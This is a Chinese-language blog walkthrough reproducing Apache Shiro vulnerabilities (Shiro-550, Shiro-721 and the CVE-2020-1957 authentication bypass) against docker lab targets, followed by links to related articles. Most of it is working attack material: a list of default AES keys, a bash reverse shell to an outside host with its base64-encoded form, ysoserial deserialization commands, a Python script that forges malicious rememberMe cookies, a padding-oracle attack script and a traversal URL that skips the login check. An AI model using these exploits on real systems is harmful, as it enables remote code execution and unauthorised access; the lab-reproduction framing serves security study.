Shiro 漏洞复现
Shiro 漏洞复现
shiro是什么?
ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。
shiro组件识别
1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。
Shiro-550(CVE-2016-4437反序列化漏洞)
shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设
影响版本:Apachee Shiro <= 1.2.4
- 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
- 使用docker搭建环境:
# 拉取镜像
docker pull medicean/vulapps:s_shiro_1
# 启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

- 检测是否存在默认的key
# 工具
https://github.com/StarkChristmas/Shiro_exploit
# 使用命令
python shiro_exploit.py -u http://靶机:端口
- 这里得到
AES秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==

- 确认反弹shell语句(在java中要base64编码)
# 原本的语句
bash -i >& /dev/tcp/8.8.8.8/6666 0>&1
# base64编码(中间要去空格)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令
# `ysoserial下载
https://github.com/frohoff/ysoserial/releases/tag/v0.0.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

- 准备一个脚本
shiro_poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
return base64.b64encode(iv + encryptor.encrypt(file_body))
if __name__ == '__main__':
if not sys.argv[1:]:
print(f'Usage: {sys.argv[0]} <payload>')
sys.exit(1)
payload = encode_rememberme(sys.argv[1])
print("[+] Payload: ")
print("rememberMe={0}".format(payload.decode()))
- 脚本生成payload,端口为先前监听的
9999
python shiro_poc_test.py 攻击机ip:9999

- bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)

- 成功得到
shell

Shir0-721漏洞利用
由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行
影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)
环境搭建
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
漏洞利用
- 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)

- 如果登录成功则不会设置deleteMe的cookie

- 如果失败时会设置deleteMe的cookie

- 反序列化工具
ysoserial生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
- 创建一个python脚本遍历key,命名为
exp.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import logging
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie.decode('utf-8')
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
# logging.debug(self.session.cookies)
while 1:
try:
response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...', self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# logging.debug(response.headers)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
# logging.debug("Padding exception")
raise BadPaddingException
if __name__ == '__main__':
if not sys.argv[3:]:
print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
print('rememberMe cookies:')
print(b64encode(enc))
- 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload
- 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换
AES-CBC为AES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示
Apache SShiro认证绕过漏洞(CVE-2020-1957)
- 访问
http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面

- 访问
http://your-ip:8080/xxx/..;/admin/可以绕过校验

Shiro 漏洞复现的更多相关文章
- Apache Shiro漏洞复现
利用burp dns进行检测,脚本如下: import sys import uuid import base64 import subprocess from Crypto.Cipher impor ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- Shiro反序列化漏洞复现
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...
- Fastjson <=1.2.62 远程代码执行-漏洞复现
影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = "{\"@type\":\"org.apa ...
- Shiro反序列化复现
Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...
- Weblogic CVE-2020-2551漏洞复现&CS实战利用
Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...
- [JavaWeb]Shiro漏洞集合——代码审计
Shiro漏洞集合 Shiro其实就是一组Filter,他会进行验证,鉴权,会话 Management,再把请求转到web过滤器.所以最好先去对Shiro有个整体性的了解. 复现环境:https:// ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
随机推荐
- Could not resolve placeholder 'xxx.xxx.xxx' in value "http://${xxx.xxx.xxx}"
代码一切正常,忽然报这个错误, 原因为,当前配置在配置文件最后,且前面均为注释,把当前配置位置提前即可
- AD LDAP
Ref: Windows 域之 LDAP与AD [安全科普]AD域安全协议(三)LDAP AD 域服务简介(一)- 基于 LDAP 的 AD 域服务器搭建及其使用 https://milestone- ...
- Openstack-Train( 一)基础环境
openStack-train 搭建部署 当面对KVM集群的时候,我们对KVM的管理以及宿主机的管理就会遇到很大的难度,例如: 查看每一个宿主机有多少台KVM虚拟机? 查看每一个宿主机资源信息,每一个 ...
- c程序设计语言 by K&R(三)结构
一.类型定义 typedef typedef int Length; typedef char* String; typedef struct tnode* Treeptr; typedef int ...
- Round #2022/11/26
问题 B:染色 题目描述 有长度为 \(n\) 的一个序列,编号为 \(1\) 到 \(n\) ,现要对这些元素进行染色标记,若编号 \(i-j\) 为素数,且 \(1\le i < j \le ...
- 关于.NET在中国为什么工资低的分析
引言 近年来,随着软件开发行业的蓬勃发展,越来越多的编程语言和框架进入了市场,成为了不同类型软件开发项目的首选工具.然而,在中国的开发者社区中,.NET 开发人员的工资水平相比其他技术栈,如 Java ...
- TFC-Pretraining: 基于时间频率一致性对时间序列进行自监督对比预训练《Self-Supervised Contrastive Pre-Training for Time Series via Time-Frequency Consistency》(时间序列、时序表征、时频一致性、对比学习、自监督学习)
2023年11月10日,今天看一篇论文,现在17:34,说实话,想摆烂休息,不想看,可还是要看,拴Q. 论文:Self-Supervised Contrastive Pre-Training for ...
- ASP.NET Core – 操作 Uri 和 Query
前言 以前就有写过了 Asp.net core 学习笔记 (操作 URL 和 Query), 但很乱, 这篇作为整理. Uri 介绍 结构: [Scheme]://[Host]:[Port][/Pat ...
- Nuxt Kit 实用工具的使用示例
title: Nuxt Kit 实用工具的使用示例 date: 2024/9/25 updated: 2024/9/25 author: cmdragon excerpt: 摘要:本文介绍了Nuxt ...
- 使用BAT脚本实现文件异机备份,并且还有文件的时间戳
事件起因: 由于我们单位是创意设计公司,在设计文件的隐私性和保密性上都是有要求的,单位里的办公机的USB口都是禁用的,防治资料泄露:服务器之间还要做实时备份,并且文件的创建时间都是要保证准确性的.但是 ...